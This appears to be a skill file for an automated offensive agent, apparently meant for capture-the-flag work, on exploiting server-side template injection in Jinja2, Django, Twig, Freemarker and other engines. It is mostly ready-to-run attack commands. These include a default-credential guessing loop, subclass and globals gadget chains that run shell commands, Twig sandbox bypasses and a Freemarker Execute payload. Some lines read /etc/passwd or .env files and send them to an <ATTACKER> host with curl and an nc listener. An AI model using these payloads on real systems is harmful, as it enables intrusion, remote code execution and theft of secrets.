| name | exploit-ssti |
| description | Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass. |
| metadata | {"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"ssti, template injection, server side template, jinja2, twig, freemarker, erb, razor, thymeleaf, template engine, {{7*7}}, ${7*7}, mro chain, template rce, flask template, django template, pebble, velocity, smarty, mako"} |
Server-Side Template Injection (SSTI)
Exploits template engines that render user input, achieving RCE by injecting template directives.
Default Credentials Fast-Path (when default_credentials is a co-tag)
When default_credentials appears alongside ssti in the challenge tags, attempt login FIRST before any template injection probing:
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
A valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.
Detection — Universal Probes
curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49'
curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49'
curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49'
curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777'
Jinja2 (Python — Flask/Django)
curl -s 'https://<TARGET>/page?input={{config}}'
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[<INDEX>]("id",shell=True,stdout=-1).communicate()[0]}}'
curl -s "https://<TARGET>/page?input=${PAYLOAD}" -o ssti_jinja2_rce.txt
Django (engine.from_string)
When the target is Django (not Flask/Jinja2) and a view passes user-controlled string into Engine.get_default().from_string(...).render(Context(...)), the exploitation surface is fundamentally different from Jinja2.
Identify Django (vs Flask/Jinja2):
curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django'
curl -s "http://<TARGET>/" | grep -oE 'csrfmiddlewaretoken|csrf_token'
curl -s -o /dev/null -w '%{http_code}' "http://<TARGET>/admin/"
curl -s "http://<TARGET>/page?input={%25+csrf_token+%25}" | grep -o 'csrfmiddlewaretoken'
Critical: Django templates DO NOT expose Jinja2 MRO shortcuts. The following will NOT work:
{{request.application.__globals__}} — Django has no application
{{cycler.__init__.__globals__}} — cycler is a tag, not a builtin
{{"".__class__.__mro__[1].__subclasses__()}} — Django blocks _-prefixed attribute access in templates (TemplateSyntaxError or silent empty)
{% load os %} — Django filters {% load %} to registered apps; arbitrary module load denied
Django template language is restricted to: variable lookup ({{var}}), filter pipes ({{v|upper}}), and registered tags ({% if %}…{% endif %}, {% csrf_token %}, {% include %}).
Productive paths for engine.from_string SSTI:
curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}"
curl -s "http://<TARGET>/page?input={{settings.DATABASES}}"
curl -s "http://<TARGET>/page?input={{settings.DEBUG}}"
curl -s "http://<TARGET>/page?input={{settings|pprint}}"
curl -s "http://<TARGET>/page?input={{request.session.items}}"
curl -s "http://<TARGET>/page?input={{request.session.flag}}"
curl -s "http://<TARGET>/page?input={{request.META.HTTP_COOKIE}}"
curl -s "http://<TARGET>/page?input={{request.user.is_staff}}"
curl -s "http://<TARGET>/page?input={{request.environ}}"
curl -s "http://<TARGET>/page?input={%25+include+%22../../../etc/passwd%22+%25}"
curl -s --data-urlencode 'input={{ request.session.flag }}' "http://<TARGET>/render"
curl -s --data-urlencode 'input={{ settings.SECRET_KEY }}' "http://<TARGET>/render"
curl -s --data-urlencode 'input={{ request.user.username }}' "http://<TARGET>/render"
curl -s --data-urlencode
RCE realism: Django SSTI rarely reaches RCE via the template language alone — SafeString/Variable resolution blocks _-prefixed traversal, and only registered template tags load. The realistic Django SSTI yield is information disclosure (settings, session, request context). RCE generally requires either a custom unsafe filter/tag already registered, or the engine built with Engine(builtins=['unsafe_module']) — uncommon.
Context-processor traversal map (when {{ settings.* }} returns empty — settings not in context — enumerate the rest of the context processors before pivoting to auth-required paths):
| Context object | Source processor | Useful disclosure |
|---|
messages.storages.0.signer.key | django.contrib.messages.context_processors.messages | b'django.http.cookies' + SECRET_KEY |
request.session.* | django.template.context_processors.request | session keys / per-user secrets |
request.user.* | django.contrib.auth.context_processors.auth | username, email, is_staff, password hash |
perms.* | django.contrib.auth.context_processors.auth | permission set (informational) |
csrf_token | django.template.context_processors.csrf | per-session CSRF token (TimestampSigner-derived) |
3-strike pivot: After 3 probes against {{settings.*}} / {{request.session.*}} / {{request.META.*}} AND the full Context-processor traversal map above return empty or unchanged template, pivot to the default_credentials skill to obtain admin auth, then hit /admin/ and search admin-only models / login-required views for the flag. Do not loop more SSTI variants past 3 negative probes after exhausting the context-processor map.
Twig (PHP — Symfony)
curl -s 'https://<TARGET>/page?input={{_self.env.display("id")}}'
curl -s "https://<TARGET>/page?input={{['id']|filter('system')}}" -o ssti_twig_rce.txt
Multi-surface rendering rule (MANDATORY for stored-input apps).
When the target has CRUD endpoints (add/edit/list/search/detail/export), template injection often evaluates on ONLY ONE of the rendering surfaces — typically the detail/show page or an admin/export view — even when the same value is displayed as literal text on the list/search results. Seeing {{7*7}} reflected literally on one page does NOT prove templates are inactive — it proves THAT particular surface is not template-rendered.
Test EVERY rendering surface before concluding SSTI is unavailable:
curl -s -X POST "http://<TARGET>/<add_endpoint>" -d 'name={{7*7}}&description={{49+1}}'
NEW_ID="<extract from redirect or list>"
for path in /list /search?q={{7*7}} /detail/${NEW_ID} /edit/${NEW_ID} /export /admin/${RESOURCE} /api/${RESOURCE}/${NEW_ID}; do
echo "=== ${path} ==="
curl -s "http://<TARGET>${path}" -o /tmp/render_${path//\//_}.txt
grep -E "^[^<]*(49|50)([^0-9]|$)" /tmp/render_${path//\//_}.txt | head -3
done
Twig sandbox is per-loader, not global. A page that shows Sandbox mode: Enabled does NOT mean every Twig context is sandboxed. Stored-data rendering (typically Twig\Environment instances initialized for content/email/PDF) is commonly unsandboxed even when the index template is. Test each surface independently before dismissing SSTI.
Twig sandbox-bypass payloads (when one specific endpoint IS sandboxed but RCE primitives like system/filter are not whitelisted):
curl -s 'http://<TARGET>/page?input={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}'
curl -s 'http://<TARGET>/page?input={{["id"]|map("system")|join}}'
curl -s 'http://<TARGET>/page?input={{_self.env.setCache("ftp://attacker/")}}{{_self.env.loadTemplate("backdoor")}}'
3-strike Twig pivot rule: If 3 probes against the same field show stored-but-literal output (e.g. {{7*7}} appears as {{7*7}} not 49), STOP iterating that field. The bypass is a different rendering surface OR a different field on the same surface — not a deeper payload on the same dead field.
Freemarker (Java)
curl -s 'https://<TARGET>/page?input=${7*7}'
curl -s 'https://<TARGET>/page?input=<#assign+ex="freemarker.template.utility.Execute"?new()>${ex("id")}' -o ssti_freemarker_rce.txt
Blind SSTI (no direct reflection — "Blind" in challenge name)
When the challenge name contains "Blind" or SSTI payloads produce no visible output change, the template is rendered server-side but results are not echoed. Use out-of-band or side-channel techniques:
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[<N>](['sleep','5'],stdout=-1).communicate()}}" --max-time 10 -w '\nTime: %{time_total}s\n' -o /tmp/ssti_time.txt
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].system('sleep 5')}}" --max-time 10 -w '\nTime: %{time_total}s\n'
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('cat /.env > /tmp/env_out').read()}}"
curl -s "http://<TARGET>/static/../tmp/env_out"
curl -s "http://<TARGET>/download?file=../tmp/env_out"
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('cp /.env /app/static/f.txt').read()}}"
curl -s "http://<TARGET>/static/f.txt"
Decision flow for blind SSTI:
- Confirm time-delay oracle (1 curl, ≥5s response = SSTI confirmed)
- Attempt RCE + write sensitive file content to /tmp/out + read via static/download endpoint
- If no file-serving path: use DNS/HTTP callback (
curl http://<ATTACKER>:PORT/?f=$(cat /.env | base64)) — set up listener first with nc -lvnp <PORT> &
- If sandbox blocks outbound: try writing to error logs, then trigger log read
Blind Jinja2 Sandbox Escape — Subclasses Gadget Chain
When direct RCE payloads are sandboxed, enumerate subclasses to find a Popen-capable class:
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()}}" \
-o /tmp/subclasses.txt
grep -o "subprocess.Popen\|<class '" /tmp/subclasses.txt | wc -l
python3 -c "
import re, sys
data = open('/tmp/subclasses.txt').read()
classes = re.findall(r\"<class '([^']+)'\", data)
for i,c in enumerate(classes):
if 'Popen' in c or 'process' in c.lower():
print(i, c)
"
INDEX=245
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('id',shell=True,stdout=-1).communicate()[0]}}" \
-o /tmp/ssti_rce.txt
grep -v '^$' /tmp/ssti_rce.txt | head -5
If output channel is blocked (blind SSTI, no reflection):
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('cat /etc/passwd > /tmp/out.txt',shell=True,stdout=-1).communicate()}}"
curl -s "http://<TARGET>/static/../tmp/out.txt"
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('curl http://<ATTACKER>:9999/?d=\$(cat /etc/passwd|base64 -w0)',shell=True,stdout=-1).communicate()}}"
Alternative globals-based RCE (no subclass enumeration needed):
curl -s "http://<TARGET>/page?input={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
curl -s "http://<TARGET>/page?input={{cycler.__init__.__globals__.os.popen('id').read()}}"
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
Error-Status (5xx) Oracle for Blind SSTI
When template output is suppressed but the server returns HTTP 500 on invalid template syntax, use error-status as a boolean oracle — no reflection required.
TARGET_URL="http://<TARGET>/page?input="
curl -s -o /dev/null -w '%{http_code}' "${TARGET_URL}{{invalid_syntax_xyz_$RANDOM}}"
curl -s -o /dev/null -w '%{http_code}' "${TARGET_URL}hello"
for pos in $(seq 1 32); do
for ascii in $(seq 32 126); do
code=$(curl -s -o /dev/null -w '%{http_code}' \
"${TARGET_URL}{% if (secret[${pos}-1]|int)==${ascii} %}ok{% endif %}")
if [ "$code" = "200" ]; then
printf "\\x$(printf '%02x' $ascii)"
break
fi
done
done
echo
Decision rule:
- Confirm calibration (syntax error → 500, valid → 200) with 2 curl calls.
- If confirmed, use the 5xx oracle loop above — do NOT fall back to time-delay probing unless the server swallows 500s.
- If both 200 and 500 are returned for all inputs (WAF normalizing), pivot to DNS/HTTP out-of-band exfiltration.
Engine Fingerprinting Table
| Probe | Result | Engine |
|---|
{{7*7}} | 49 | Jinja2 or Twig |
{{7*'7'}} | 7777777 | Jinja2 |
{{7*'7'}} | 49 | Twig |
${7*7} | 49 | Freemarker or EL |
#{7*7} | 49 | Thymeleaf or Ruby ERB |
<%= 7*7 %> | 49 | ERB (Ruby) |
@(1+1) | 2 | Razor (.NET) |